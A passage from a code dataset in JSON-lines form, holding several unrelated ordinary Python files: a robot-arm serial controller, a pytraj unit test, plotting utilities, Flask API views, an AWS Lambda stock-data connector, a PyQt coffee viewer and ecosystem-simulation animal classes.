TankMain()\ngame.startGame()","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":14063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"597165655","text":"from transport import Transport\nfrom protocol import *\nimport threading\nfrom config import*\nfrom messages import*\nfrom time import time as now, sleep\nimport yaml\n\nclass RobotStatus:\n def __init__(self, num_joints):\n self.current_joint_positions = JointPos().resize(num_joints)\n\nclass Robot:\n def __init__(self):\n self.name = None\n self.__protocol = Protocol()\n self.__shutdown = False\n self.__initialized = False\n self.__configured = False\n self.__waiting_for = None\n\n def configure(self, name, port, baudrate):\n self.name = name\n\n try:\n config_file = 'config/'+self.name+'.yaml'\n with open(config_file) as f:\n conf = yaml.safe_load(f)\n f.close()\n self.__port = port\n self.__baudrate = baudrate\n self.__num_joints = len(conf['Joints'])\n except:\n print(\"[Error] Configuration failed. \\n ***** Please make sure \" + self.name + \".yaml exists.\")\n return False\n self.__configured = True\n return True\n\n def initialize(self):\n if not self.__configured:\n print('[Error] Robot has not been configured.')\n return False\n try:\n self.__transport = Transport(self.__port, self.__baudrate)\n except:\n print(\"[Error] Serial initialization failed. \\n ***** Check serial settings.\")\n return False\n self.__proc = threading.Thread(name='robot process', target=self.__run)\n self.__proc.setDaemon(True)\n self.robot_status = RobotStatus(self.__num_joints)\n self.__initialized = True\n return True\n\n def start(self):\n if not self.__initialized:\n print(\"Error: Robot has not been initialized.\")\n return\n self.__proc.start()\n\n def shutdown(self):\n self.__shutdown = True # set shutdown flag\n\n def get_joint_angles(self):\n self.__set_wait(MsgId.RET_JOINT_POSITIONS)\n self.__transport.write(self.__protocol.encode(MsgId.GET_JOINT_POSITIONS, Empty()))\n if self.__wait():\n return self.robot_status.current_joint_positions.angles\n else:\n return False\n\n def set_joint_angles(self, angles):\n print(\"setting joint angles at \", angles)\n msg = JointPos().resize(self.__num_joints)\n for i in range(self.__num_joints):\n msg.angles[i] = angles[i]\n self.__transport.write(self.__protocol.encode(MsgId.SET_JOINT_POSITIONS, msg))\n\n def __run(self):\n while not self.__shutdown:\n c = self.__transport.read()\n # print(c)\n if self.__protocol.parse(c):\n self.__process_message(self.__protocol.get_message()) \n\n def __process_message(self, msg_id):\n if msg_id == MsgId.MOVE_DONE:\n pass\n elif msg_id == MsgId.RET_JOINT_POSITIONS:\n self.__protocol.decode(msg_id, self.robot_status.current_joint_positions)\n if self.__waiting_for == MsgId.RET_JOINT_POSITIONS:\n self.__waiting_for = None\n\n def __set_wait(self, msg_id):\n self.__waiting_for = msg_id\n \n def __wait(self, timeout=0.5):\n _timeout = now()+timeout\n while now() < _timeout:\n if self.__waiting_for is None:\n return True\n return False\n ","sub_path":"armMaster/lib/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"74309388","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport unittest\nimport pytraj as pt\nfrom pytraj.utils import eq, aa_eq\n\n\nclass TestVelocity(unittest.TestCase):\n\n def test_velocity(self):\n traj = pt.iterload(\"./data/issue807/trunc.nc\",\n \"data/issue807/system.prmtop\")\n\n f = traj[0]\n\n # no mask, no frame_indices\n vels = pt.get_velocity(traj)\n assert vels.shape == (traj.n_frames, traj.n_atoms, 3), 'vels.shape'\n\n # string mask\n vels = pt.get_velocity(traj, '@O', frame_indices=[0, 2])\n fi = traj(frame_indices=[0, 2], mask='@O')\n assert vels.shape == (fi.n_frames, fi.top.n_atoms, 3), 'vels.shape'\n\n # atom indices\n atm_indices = pt.select_atoms('@O', traj.top)\n vels_ = pt.get_velocity(traj, atm_indices, frame_indices=[0, 2])\n fi = traj(frame_indices=[0, 2], mask='@O')\n assert vels_.shape == (fi.n_frames, fi.top.n_atoms, 3), 'vels.shape'\n aa_eq(vels, vels_)\n\n # raise if not having velocity\n traj2 = pt.iterload('data/tz2.nc', 'data/tz2.parm7')\n self.assertRaises(ValueError, lambda: pt.get_velocity(traj2))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_velocity.py","file_name":"test_velocity.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"547129043","text":"\"\"\" This script contains functions for displaying various plots.\n\nLast modified: October 17 2018\n\nAuthors \\n\n@author Pranav Gupta \n\n\"\"\"\n\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\nclass Plot_Data:\n\n \"\"\" This class contains functions for displaying various plots.\n \n Attributes\n ----------\n count : int\n Keeps track of the number of figures.\n\n \"\"\"\n\n # Static variable to keep count of number of figures\n count = 1\n\n def __init__(self, figsize=(18,5)):\n \"\"\" Constructor.\n\n Parameters\n ----------\n figsize : tuple\n Size of figure.\n\n \"\"\"\n self.figsize = figsize\n\n\n def correlation_plot(self, data):\n \"\"\" Create heatmap of Pearson's correlation coefficient.\n\n Parameters\n ----------\n data : pd.DataFrame()\n Data to display.\n\n Returns\n -------\n matplotlib.figure\n Heatmap.\n\n \"\"\"\n\n # CHECK: Add saved filename in result.json\n fig = plt.figure(Plot_Data.count)\n corr = data.corr()\n ax = sns.heatmap(corr)\n\n Plot_Data.count += 1\n return fig\n\n\n def baseline_projection_plot(self, y_true, y_pred, \n baseline_period, projection_period,\n model_name, adj_r2,\n data, input_col, output_col, model,\n site):\n \"\"\" Create baseline and projection plots.\n\n Parameters\n ----------\n y_true : pd.Series()\n Actual y values.\n y_pred : np.ndarray\n Predicted y values.\n baseline_period : list(str)\n Baseline period.\n projection_period : list(str)\n Projection periods.\n model_name : str\n Optimal model's name.\n adj_r2 : float\n Adjusted R2 score of optimal model.\n data : pd.Dataframe()\n Data containing real values.\n input_col : list(str)\n Predictor column(s).\n output_col : str\n Target column.\n model : func\n Optimal model.\n\n Returns\n -------\n matplotlib.figure\n Baseline plot\n\n \"\"\"\n\n # Baseline and projection plots\n fig = plt.figure(Plot_Data.count)\n \n # Number of plots to display\n if projection_period:\n nrows = len(baseline_period) + len(projection_period) / 2\n else:\n nrows = len(baseline_period) / 2\n \n # Plot 1 - Baseline\n base_df = pd.DataFrame()\n base_df['y_true'] = y_true\n base_df['y_pred'] = y_pred\n ax1 = fig.add_subplot(nrows, 1, 1)\n base_df.plot(ax=ax1, figsize=self.figsize,\n title='Baseline Period ({}-{}). \\nBest Model: {}. \\nBaseline Adj R2: {}. \\nSite: {}.'.format(baseline_period[0], baseline_period[1], \n model_name, adj_r2, site))\n\n if projection_period:\n # Display projection plots\n num_plot = 2\n for i in range(0, len(projection_period), 2):\n ax = fig.add_subplot(nrows, 1, num_plot)\n period = (slice(projection_period[i], projection_period[i+1]))\n project_df = pd.DataFrame()\n \n try: \n project_df['y_true'] = data.loc[period, output_col]\n project_df['y_pred'] = model.predict(data.loc[period, input_col])\n\n # Set all negative values to zero since energy > 0\n project_df['y_pred'][project_df['y_pred'] < 0] = 0\n\n project_df.plot(ax=ax, figsize=self.figsize, title='Projection Period ({}-{})'.format(projection_period[i], \n projection_period[i+1]))\n num_plot += 1\n fig.tight_layout()\n\n Plot_Data.count += 1\n return fig, project_df['y_true'], project_df['y_pred']\n except:\n raise SystemError(\"If projecting into the future, please specify project_ind_col that has data available \\\n in the future time period requested.\")\n \n return fig, None, None\n \nif __name__ == '__main__':\n\n obj = Plot_Data()","sub_path":"apps/data_analysis/XBOS_data_analytics/Plot_Data.py","file_name":"Plot_Data.py","file_ext":"py","file_size_in_byte":4655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"396166408","text":"from flask import render_template, request, jsonify\nfrom datetime import datetime\nfrom app import app\nfrom models import db, User, Client, ProductArea, FeatureRequest\nfrom schema import (UserSchema, ClientSchema,\n ProductAreaSchema, FeatureRequestSchema)\nfrom utils import fix_client_priorities\nimport json\n\n\ndef _build_feature_request_data(feature_request, data):\n for field in [\n \"title\",\n \"user_id\",\n \"client_id\",\n \"description\",\n \"target_date\",\n \"client_priority\",\n \"product_area_id\"\n ]:\n setattr(\n feature_request,\n field,\n data.get(\n field,\n getattr(feature_request, field)\n )\n )\n\n return feature_request\n\n\n@app.route('/')\ndef home_page():\n return render_template('index.html', title='All Requests', home_active='active')\n\n\n@app.route('/api/users/', methods=('GET',))\ndef get_users():\n \"\"\"route to get all.\"\"\"\n users = User.query.all()\n users_schema = UserSchema()\n result = users_schema.dump(users, many=True)\n return jsonify({'users': result.data})\n\n\n@app.route('/api/product_areas/', methods=('GET',))\ndef get_product_areas():\n \"\"\"route to get all product areas.\"\"\"\n product_areas = ProductArea.query.all()\n pa_schema = ProductAreaSchema()\n result = pa_schema.dump(product_areas, many=True)\n return jsonify({'product_areas': result.data})\n\n\n@app.route('/api/clients/', methods=('GET',))\ndef get_clients():\n \"\"\"route to get all clients.\"\"\"\n clients = Client.query.all()\n clients_schema = ClientSchema()\n result = clients_schema.dump(clients, many=True)\n return jsonify({'clients': result.data})\n\n\n@app.route('/api/feature_requests/', methods=('GET',))\ndef get_feature_requests():\n \"\"\"route to get all feature_requests.\"\"\"\n feature_requests = FeatureRequest.query.all()\n feature_requests_schema = FeatureRequestSchema()\n result = feature_requests_schema.dump(feature_requests, many=True)\n return jsonify({'feature_requests': result.data})\n\n\n@app.route('/api/feature_requests//', methods=('POST',))\ndef get_feature_request_by_id(id=None):\n \"\"\"route to add/update a feature request.\"\"\"\n if not id:\n return jsonify(\n {\"message\": \"Feature Request id is needed.\"}\n ), 400\n\n json_data = request.get_json()\n feature_request = FeatureRequest.query.get(id)\n\n if not feature_request:\n return jsonify(\n {\"message\": \"Feature Request could not be found.\"}\n ), 400\n\n # done so that the requests added in the past do not interfere with schema\n # validation\n try:\n if feature_request.target_date != datetime.strptime(\n json_data['target_date'], \"%Y-%m-%d\").date():\n feature_requests_schema = FeatureRequestSchema()\n else:\n feature_requests_schema = FeatureRequestSchema(\n exclude=('target_date',)\n )\n except ValueError as error:\n return jsonify({'errors': {'target_date': str(error)}}), 422\n\n data, errors = feature_requests_schema.load(json_data)\n\n if errors:\n return jsonify({\"errors\": errors}), 422\n\n fix_client_priorities(data['client_priority'])\n feature_request = _build_feature_request_data(feature_request, data)\n\n db.session.add(feature_request)\n db.session.commit()\n\n return jsonify(\n {\n \"message\": \"Updated feature request.\",\n \"data\": FeatureRequestSchema().dump(feature_request)\n }\n ), 200\n\n\n@app.route('/api/feature_requests/add/', methods=('POST',))\ndef add_feature_request():\n \"\"\"route to add feature request.\"\"\"\n feature_requests_schema = FeatureRequestSchema()\n json_data = request.get_json()\n\n if not json_data:\n return jsonify({'message': 'No input data provided'}), 400\n # Validate and deserialize input\n data, errors = feature_requests_schema.load(json_data)\n\n if errors:\n return jsonify({\"errors\": errors}), 400\n\n fix_client_priorities(data['client_priority'])\n feature_request = FeatureRequest()\n feature_request = _build_feature_request_data(feature_request, data)\n\n db.session.add(feature_request)\n db.session.commit()\n\n return jsonify(\n {\n \"message\": \"Created new feature request.\",\n \"data\": FeatureRequestSchema().dump(feature_request)\n }\n ), 201\n","sub_path":"web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"6550735","text":"import json\nfrom botocore.vendored import requests\nfrom datetime import date\nimport time\nimport traceback\n\n\ndef lambda_handler(request, context):\n \"\"\"This function is called by aws lambda\n\n Args:\n request (json): api request sent by connector\n context (json): context\n\n Returns:\n json: if successfull then connector response else error response\n \"\"\"\n try:\n # Initialize state\n state = initialize_state(request['state'])\n\n # Fetch records using api calls\n (insert, delete, state, hasMore) = api_response(\n state, request['secrets'])\n\n # Get Response\n response = get_response(insert, delete, state, hasMore)\n\n # Return Response\n return response\n\n except Exception as e:\n # Return error response\n return {\"errorMessage\": str(e),\n \"stackTrace\": traceback.format_exc()}\n\n\ndef api_response(state, secrets):\n\n ticker_offset = state[\"ticker_offset\"]\n ticker_start_cursor = state[\"ticker_start_cursor\"]\n ticker_end_cursor = state[\"ticker_end_cursor\"]\n\n # Fetch all the tickers\n insert_tickers = get_tickers(secrets['apiKey'], ticker_offset)\n\n # Fetch the records of prices of tickers.\n # If time exceeds 1s then return intermediate response and fetch other records in subsequent calls\n # After price for a ticker is fetched we increment ticker offset by 1\n insert_ticker_price = []\n insert_ticker_actual = []\n start_time = time.time()\n for ticker in insert_tickers:\n temp_list = get_ticker_price(\n secrets['apiKey'], ticker['symbol'], ticker_start_cursor, ticker_end_cursor)\n ticker_offset += 1\n if(temp_list):\n insert_ticker_price += temp_list\n insert_ticker_actual.append(ticker)\n end_time = time.time()\n if(end_time-start_time > 1):\n break\n\n state, insert, delete, hasMore = {}, {}, {}, False\n\n # If insert_tickers is empty then all tickers are processed\n # Set ticker_offset back to 0 for again syncing from start in next sync\n # Set ticker_start_cursor to ticker_end_cursor\n # Set ticker_end_cursor to Today's date\n # Else\n # Set hasMore = True to again run lambda function with updated cursor value\n if(not insert_tickers):\n ticker_offset = 0\n ticker_start_cursor = ticker_end_cursor\n ticker_end_cursor = str(date.today())\n else:\n hasMore = True\n\n # Populate insert, delete and state\n insert['tickers'] = insert_ticker_actual\n delete['tickers'] = []\n\n insert['tickers_price'] = insert_ticker_price\n delete['tickers_price'] = []\n\n state['ticker_offset'] = ticker_offset\n state['ticker_start_cursor'] = ticker_start_cursor\n state['ticker_end_cursor'] = ticker_end_cursor\n\n return (insert, delete, state, hasMore)\n\n\ndef get_tickers(api_key, ticker_offset):\n \"\"\"This is a function to list all the tickers presently available\n\n Args:\n api_key (String): The api token for accessing data\n ticker_offset (int): Ticker cursor value\n\n Raises:\n Exception: When request fails or tickers cannot be fetched from response\n\n Returns:\n list: tickers\n \"\"\"\n params = {\n 'access_key': api_key,\n 'offset': ticker_offset,\n 'limit': 1000\n }\n try:\n api_result = requests.get(\n 'http://api.marketstack.com/v1/tickers', params)\n api_response = api_result.json()\n insert_ticker_records = api_response[\"data\"]\n except:\n raise Exception(\"Failed Fetching tickers, Error: \" +\n json.dumps(api_response))\n return insert_ticker_records\n\n\ndef get_ticker_price(api_key, symbols, ticker_start_cursor, ticker_end_cursor):\n \"\"\"This is a function to fetch the prices of a particular ticker from start date to end date\n\n Args:\n api_key (String): The api token for accessing data\n symbols (String): Ticker for which price is to be calculated\n ticker_start_cursor (String): Starting date to fetch records\n ticker_end_cursor (String): End date to fetch records\n\n Raises:\n Exception: When request fails or ticker prices cannot be fetched from response\n\n Returns:\n list: ticker prices for particular ticker\n \"\"\"\n ticker_price_offset = 0\n insert_ticker_price_records = []\n while(True):\n params = {\n 'access_key': api_key,\n 'symbols': symbols,\n 'limit': 1000,\n 'offset': ticker_price_offset,\n 'date_from': ticker_start_cursor,\n 'date_to': ticker_end_cursor\n }\n try:\n api_result = requests.get(\n 'http://api.marketstack.com/v1/eod', params)\n api_response = api_result.json()\n insert_ticker_price_records_temp = api_response[\"data\"]\n if(insert_ticker_price_records_temp):\n insert_ticker_price_records += insert_ticker_price_records_temp\n ticker_price_offset += 1000\n else:\n break\n except:\n raise Exception(\n \"Failed Fetching ticker prices, Error: \" + json.dumps(api_response))\n return insert_ticker_price_records\n\n\ndef get_response(insert, delete, state, hasMore):\n \"\"\"This is a function to return Response to be sent to connector\n\n Args:\n insert (json): insert records\n delete (json): delete records\n state (json): state of connector\n hasMore (bool): hasMore value in the response\n\n Returns:\n json: response\n \"\"\"\n response = {}\n # Add all the records to be inserted in response\n response['insert'] = insert\n # Add all the records to be marked as deleted in response\n response['delete'] = delete\n # Add updated state to response\n response['state'] = state\n # Add schema defintion in response\n response['schema'] = get_schema()\n # Add hasMore flag\n response['hasMore'] = hasMore\n return response\n\n\ndef initialize_state(state):\n \"\"\"This is a function to initialize state\n\n Args:\n state (json): State of the connector\n\n Returns:\n json: State of the connector\n \"\"\"\n\n # If state is not initialized the initialize it\n if(not state):\n state[\"ticker_offset\"] = 0\n state[\"ticker_start_cursor\"] = \"2000-01-01\"\n state[\"ticker_end_cursor\"] = str(date.today())\n\n # Fetch data till the latest date if ticker_offset is 0\n if(state[\"ticker_offset\"] == 0):\n state[\"ticker_end_cursor\"] = str(date.today())\n return state\n\n\ndef get_schema():\n \"\"\"This is a function to get schema\n\n Returns:\n json: schema\n \"\"\"\n tickersSchema = {}\n tickersSchema['primary_key'] = ['symbol']\n tickersPriceSchema = {}\n tickersPriceSchema['primary_key'] = ['symbol', 'date']\n schema = {}\n schema['tickers'] = tickersSchema\n schema['tickers_price'] = tickersPriceSchema\n return schema\n","sub_path":"aws_lambda/marketstack/sync_direct/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"567665431","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom ui_file import Ui_MainWindow\nimport sqlite3\n\n\nclass Coffee(QMainWindow, Ui_MainWindow):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.setWindowTitle(\"Coffee\")\n self.btn_next.clicked.connect(self.next)\n self.btn_prev.clicked.connect(self.prev)\n con = sqlite3.connect(\"coffee.sqlite\")\n cur = con.cursor()\n self.a_i = cur.execute(f\"\"\"SELECT * FROM Info\"\"\").fetchall()\n self.c = 0\n con.close()\n self.show_label()\n\n def next(self):\n if self.c < len(self.a_i) - 1:\n self.c += 1\n self.show_label()\n\n def prev(self):\n if self.c > 0:\n self.c -= 1\n self.show_label()\n\n def show_label(self):\n self.label.setText(f\"Название: {self.a_i[self.c][0]}\\n\"\n f\"Cтепень обжарки: {self.a_i[self.c][1]}\\n\"\n f\"{self.a_i[self.c][2]}\\n\"\n f\"Вкус: {self.a_i[self.c][3]}\\n\"\n f\"Цена: {self.a_i[self.c][4]}\")\n\n\napp = QApplication(sys.argv)\ncof = Coffee()\ncof.show()\nsys.exit(app.exec_())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"301024699","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\"\"\"\n\nimport numpy as np\nimport math\nfrom numba import jit\nimport random\n\n__author__ = \"Jon-Mikkel Korsvik & Petter Bøe Hørtvedt\"\n__email__ = \"jonkors@nmbu.no & petterho@nmbu.no\"\n\n\n@jit\ndef fitness_calculation(\n phi_age, age, a_half,\n phi_weight, weight, w_half\n ):\n r\"\"\"\n Calculates fitness by sigmoid multiplication\n\n .. math::\n \\Phi =\\left\\{\\begin{matrix}0\n & , w\\leq 0 & \\\\\n q^-_{weight}*q^+_{age}&, else &\n \\end{matrix}\\right.\n\n .. math::\n q^\\pm(x, x_{\\frac{1}{2}},\\phi)=\\frac{1}{1+e^{\\pm\\phi(x-x_\\frac{1}{2})}}\n\n Parameters\n ----------\n phi_age : float\n age : int\n a_half : float\n phi_weight : float\n weight : float\n w_half : float\n\n Returns\n -------\n float\n Value between 0 and 1 representing fitness\n\n \"\"\"\n pos_q_age = phi_age * (age - a_half)\n neg_q_weight = - (phi_weight * (weight - w_half))\n\n return 1/(1 + math.exp(pos_q_age)) * 1/(1 + math.exp(neg_q_weight))\n\n\nclass BaseAnimal:\n \"\"\"\n Baseclass for all animals\n\n Methods\n -------\n set_parameters: class method\n __init__\n __repr__\n age_one_year\n reset_has_moved\n will_migrate\n birth\n death\n feed\n lose_weight\n \"\"\"\n w_birth = 8.0\n sigma_birth = 1.5\n beta = 0.9\n eta = 0.05\n a_half = 40\n phi_age = 0.2\n w_half = 10\n phi_weight = 0.1\n mu = 0.25\n lambda_ = 1.0\n gamma = 0.2\n zeta = 3.5\n xi = 1.2\n omega = 0.4\n F = 10.0\n\n @classmethod\n def set_parameters(cls, w_birth=None, sigma_birth=None, beta=None,\n eta=None, a_half=None, phi_age=None, w_half=None,\n phi_weight=None, mu=None, lambda_=None, gamma=None,\n zeta=None, xi=None, omega=None, F=None,\n DeltaPhiMax=None):\n \"\"\"\n Method for changing one or all parameters with a dictionary for\n subclass of BaseAnimal class\n Does not change any parameters before it is sure that all\n parameters are valid.\n\n Parameters\n ----------\n w_birth : float\n Average birth weight\n sigma_birth : float\n STD of birth weight\n beta : float\n Fodder to weight conversion\n eta : float\n Weight loss scalar\n a_half : float\n Half age of Animals\n phi_age : float\n Scalar of age for fitness\n w_half : float\n Half weight of Animals\n phi_weight : float\n Scalar of weight for fitness\n mu : float\n Scalar for moving is multiplied with fitness\n lambda_ : float\n Scalar for propensity calculation\n gamma : float\n Scalar for birth\n zeta : float\n Scalar if birth will happen\n xi : float\n Scalar for weight loss after birth\n omega : float\n Scalar for death\n F : float\n Appetite of Animal\n DeltaPhiMax : float\n Parameter used by Carnivore when calculating if they can kill\n an Animal\n\n Returns\n -------\n\n \"\"\"\n # By checking all parameters first, set parameters does not change\n # any parameters before it is sure that all parameters are valid\n\n # If I can, I should make this smaller.\n\n bool_w_birth = False\n bool_sigma_birth = False\n bool_beta = False\n bool_eta = False\n bool_a_half = False\n bool_phi_age = False\n bool_w_half = False\n bool_phi_weight = False\n bool_mu = False\n bool_lambda_ = False\n bool_gamma = False\n bool_zeta = False\n bool_xi = False\n bool_omega = False\n bool_F = False\n bool_DeltaPhiMax = False\n\n if w_birth:\n if w_birth >= 0:\n bool_w_birth = True\n else:\n raise ValueError('w_birth takes positive int or float '\n 'arguments only')\n if sigma_birth:\n if sigma_birth >= 0:\n bool_sigma_birth = True\n else:\n raise ValueError('sigma_birth takes positive int or float '\n 'arguments only')\n if beta:\n if beta >= 0:\n bool_beta = True\n else:\n raise ValueError('beta takes positive int or float '\n 'arguments only')\n if eta:\n if 1 >= eta >= 0:\n bool_eta = True\n else:\n raise ValueError('eta takes int or float '\n 'arguments 0 <= eta <= 1 only')\n if a_half:\n if a_half >= 0:\n bool_a_half = True\n else:\n raise ValueError('a_half takes positive int or float '\n 'arguments only')\n if phi_age:\n if phi_age >= 0:\n bool_phi_age = True\n else:\n raise ValueError('phi_age takes positive int or float '\n 'arguments only')\n if w_half:\n if w_half >= 0:\n bool_w_half = True\n else:\n raise ValueError('w_half takes positive int or float '\n 'arguments only')\n if phi_weight:\n if phi_weight >= 0:\n bool_phi_weight = True\n else:\n raise ValueError('phi_weight takes positive int or float '\n 'arguments only')\n if mu:\n if mu >= 0:\n bool_mu = True\n else:\n raise ValueError('mu takes positive int or float '\n 'arguments only')\n if lambda_:\n if lambda_ >= 0:\n bool_lambda_ = True\n else:\n raise ValueError('lambda_ takes positive int or float '\n 'arguments only')\n if gamma:\n if gamma >= 0:\n bool_gamma = True\n else:\n raise ValueError('gamma takes positive int or float '\n 'arguments only')\n if zeta:\n if zeta >= 0:\n bool_zeta = True\n else:\n raise ValueError('zeta takes positive int or float '\n 'arguments only')\n if xi:\n if xi >= 0:\n bool_xi = True\n else:\n raise ValueError('xi takes positive int or float '\n 'arguments only')\n if omega:\n if omega >= 0:\n bool_omega = True\n else:\n raise ValueError('omega takes positive int or float '\n 'arguments only')\n if F:\n if F >= 0:\n bool_F = True\n else:\n raise ValueError('F takes positive int or float '\n 'arguments only')\n if DeltaPhiMax:\n if DeltaPhiMax > 0:\n bool_DeltaPhiMax = True\n else:\n raise ValueError('DeltaPhiMax takes strictly positive int or '\n 'float arguments only')\n\n if bool_w_birth is True:\n cls.w_birth = w_birth\n if bool_sigma_birth is True:\n cls.sigma_birth = sigma_birth\n if bool_beta is True:\n cls.beta = beta\n if bool_eta is True:\n cls.eta = eta\n if bool_a_half is True:\n cls.a_half = a_half\n if bool_phi_age is True:\n cls.phi_age = phi_age\n if bool_w_half is True:\n cls.w_half = w_half\n if bool_phi_weight is True:\n cls.phi_weight = phi_weight\n if bool_mu is True:\n cls.mu = mu\n if bool_lambda_ is True:\n cls.lambda_ = lambda_\n if bool_gamma is True:\n cls.gamma = gamma\n if bool_zeta is True:\n cls.zeta = zeta\n if bool_xi is True:\n cls.xi = xi\n if bool_omega is True:\n cls.omega = omega\n if bool_F is True:\n cls.F = F\n if bool_DeltaPhiMax is True:\n cls.DeltaPhiMax = DeltaPhiMax\n\n def __init__(self, age=0, weight=None):\n \"\"\"\n Initialises instance, calculates weight with a gaussian\n distribution if weight is not specified.\n\n Parameters\n ----------\n age : int\n weight : float\n\n Attributes\n --------\n self._age : int\n self._weight : float\n self._compute_fitness : bool\n self._fitness : float\n Between 0 and 1\n self._has_moved : bool\n \"\"\"\n self._age = age\n self._weight = weight\n self._compute_fitness = True\n self._fitness = None\n self._has_moved = False\n if weight is None:\n normal = random.gauss(self.w_birth, self.sigma_birth)\n self.weight = normal\n if normal < 0:\n self.weight = 0 # newborns with <= 0 will die end of year\n\n def __repr__(self):\n \"\"\"How the instance presents itself if called\"\"\"\n string = f\"Animal Type: {type(self).__name__}\\n\" \\\n f\"Age: {self.age}\\n\" \\\n f\"Weight: {self.weight}\\n\" \\\n f\"Fitness: {self.fitness}\\n\"\n return string\n\n @property\n def fitness(self):\n \"\"\"\n Calculates fitness if weight or age is changed, else return old value\n\n Returns\n -------\n self._fitness : float\n\n\n \"\"\"\n if self._compute_fitness is True:\n if self.weight <= 0:\n return 0\n\n self._compute_fitness = False\n self._fitness = fitness_calculation(\n self.phi_age, self.age, self.a_half,\n self.phi_weight, self.weight, self.w_half)\n\n return self._fitness\n\n return self._fitness\n\n def age_one_year(self):\n \"\"\"Adds an increment of 1 to age\"\"\"\n self.age += 1\n\n @property\n def age(self):\n \"\"\"Getter for age\"\"\"\n return self._age\n\n @age.setter\n def age(self, new_age):\n \"\"\"Sets age to new value and compute fitness to true\"\"\"\n self._compute_fitness = True\n self._age = new_age\n\n @property\n def weight(self):\n \"\"\"Getter for weight\"\"\"\n return self._weight\n\n @weight.setter\n def weight(self, new_weight):\n \"\"\"Sets weight to new value and compute fitness to true\"\"\"\n self._compute_fitness = True\n self._weight = new_weight\n\n @property\n def has_moved(self):\n \"\"\"\n Gives back bool value and sets the moved statement to True\n\n Returns\n -------\n moved : bool\n\n \"\"\"\n moved = self._has_moved\n self._has_moved = True\n return moved\n\n def reset_has_moved(self):\n \"\"\"Set has moved to False\"\"\"\n self._has_moved = False\n\n def will_migrate(self):\n \"\"\"\n Animals that has not moved yet will calculate if they will move\n\n Returns\n -------\n bool\n True if the animal wil move\n \"\"\"\n if not self.has_moved:\n prob_to_move = self.fitness * self.mu\n return bool(random.random() < prob_to_move)\n return False\n\n def birth(self, num_same_species):\n \"\"\"\n Whether or not an animal will give birth, weight loss updated, returns\n offspring\n\n Parameters\n ----------\n num_same_species : int\n Number of same animals of age >= 1 in the same cell\n\n Returns\n -------\n offspring : object\n Instance of a new animal of same type as \"mother\"\n with default age 0 and default weight None.\n\n \"\"\"\n if self.age <= 0:\n return 0\n mates = num_same_species - 1\n prob_to_birth = np.minimum(1, (self.gamma * self.fitness * mates))\n if self.weight < self.zeta*(self.w_birth + self.phi_weight):\n return 0\n\n if random.random() < prob_to_birth:\n offspring = type(self)()\n weight_loss = self.xi * offspring.weight\n\n if self.weight >= weight_loss:\n self.weight -= weight_loss\n return offspring\n\n return 0\n\n def death(self):\n \"\"\"\n Calculates if animal dies by probability.\n If fitness = 0, the animal will die regardless\n\n Returns\n -------\n bool\n True if animal dies\n\n \"\"\"\n prob_to_die = self.omega*(1-self.fitness)\n dies = random.random() < prob_to_die\n return bool(dies) or self.fitness <= 0\n\n def feed(self, available_food): # Overwritten by carnivores\n \"\"\"\n Eats food in cell, updates weight and returns new amount of fodder\n left\n\n Parameters\n ----------\n available_food : float\n Food in current cell\n\n Returns\n -------\n float\n Remaining fodder in the cell\n\n \"\"\"\n if self.F <= available_food:\n self.weight += self.beta * self.F\n return available_food - self.F\n\n if 0 < available_food:\n self.weight += self.beta * available_food\n\n return 0\n\n def lose_weight(self):\n \"\"\"Yearly passive weight loss\"\"\"\n self.weight -= self.eta*self.weight\n\n\nclass Herbivore(BaseAnimal):\n w_birth = 8.0\n sigma_birth = 1.5\n beta = 0.9\n eta = 0.05\n a_half = 40\n phi_age = 0.2\n w_half = 10\n phi_weight = 0.1\n mu = 0.25\n lambda_ = 1.0\n gamma = 0.2\n zeta = 3.5\n xi = 1.2\n omega = 0.4\n F = 10.0\n\n def __init__(self, age=0, weight=None):\n \"\"\"\n Subclass of BaseAnimal, has it's own set of class parameters.\n\n Parameters\n ----------\n age : int\n weight : float\n\n \"\"\"\n super().__init__(age, weight)\n\n\nclass Carnivore(BaseAnimal):\n w_birth = 6.0\n sigma_birth = 1.0\n beta = 0.75\n eta = 0.125\n a_half = 60.0\n phi_age = 0.4\n w_half = 4.0\n phi_weight = 0.4\n mu = 0.4\n lambda_ = 1.0\n gamma = 0.8\n zeta = 3.5\n xi = 1.1\n omega = 0.9\n F = 50.0\n DeltaPhiMax = 10.0\n\n def __init__(self, age=0, weight=None):\n \"\"\"\n Subclass of BaseAnimal, has it's own set of class parameters.\n Overwrites feed (eats other animals)\n\n Parameters\n ----------\n age: int\n weight: float\n\n Methods\n -------\n kill_or_not\n eat\n feed\n\n \"\"\"\n super().__init__(age, weight)\n\n def kill_or_not(self, herbivore):\n \"\"\"\n Calculates if carnivore will kill herbivore\n Parameters\n ----------\n herbivore : object\n\n Returns\n -------\n bool\n whether or not the herbivore was killed\n \"\"\"\n probability_to_kill = ((self.fitness - herbivore.fitness) /\n self.DeltaPhiMax)\n return bool(random.random() < probability_to_kill)\n\n def eat(self, meat, eaten):\n \"\"\"Consumes herbivore, updates weight, will not eat more than F\"\"\"\n if meat + eaten < self.F:\n self.weight += self.beta * meat\n else:\n self.weight += self.beta*(self.F - 